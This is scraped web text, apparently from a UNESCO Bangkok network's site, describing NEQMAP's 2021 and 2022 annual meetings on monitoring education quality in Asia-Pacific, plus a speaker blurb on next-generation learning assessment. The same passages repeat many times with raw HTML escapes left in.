The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

